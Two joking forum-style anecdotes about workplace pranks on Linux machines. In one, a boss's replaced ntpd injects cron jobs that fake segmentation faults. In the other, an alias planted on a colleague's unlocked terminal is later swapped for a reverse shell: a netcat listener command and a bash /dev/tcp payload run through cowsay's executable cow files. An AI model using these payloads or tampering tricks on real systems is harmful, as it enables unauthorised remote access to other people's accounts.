boss' revenge

So here https://devrant.com/rants/1349878/... posted prank played on boss. For 3days I been freaking out what boss will do as revenge (check env and alias everytime I login). Then yesterday happened his revenge.

Was doing testing on my programs & sometime some programs would run but sometime it get segmentation fault. Seemed random first but then saw a pattern... everytime I get segmentation fault and I run again it would be fine. Checked alias... nothing, /etc/crontab, env, ps -ef... nothing seemed off, cksum of my binary... correct. Fuck! "What my boss did?" asked myself. Finally .5hrs later I saw entry in my id's crontab but then 1min later it's gone from my crontab

From there figured out how boss did it:
1) He replaced ntpd with his C program that runs in background creating an entry in my crontab every few mins
2) The entry in my crontab set to run /foobar/ulittleprick.sh every 2mins
3) ulittleprick.sh picks random binary owned by me, rename binary.name to .binary.name.nitwit and create a script named binary.name
4) Then ulittleprick.sh will remove itself from cron

What the generated binary.name script does? Sleep for 2 secs, echo "Segmentation fault", then rename back .binary.name.nitwit to binary.name. It even exits with status 139! I want to cry! Worst part is comment in 2nd line of ulittleprick.sh... kill me now

Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:

alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'

So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.

But still, harmless prank, right? Right? Well…

His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.

How did I win? First, I opened the good old Netcat on my end:

nc -lvnp 1337

…then temporarily replaced Borat's face with a juicy payload:

exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";

Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.

Moral of the story?

🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.

GREAT SUCCESS! 🎉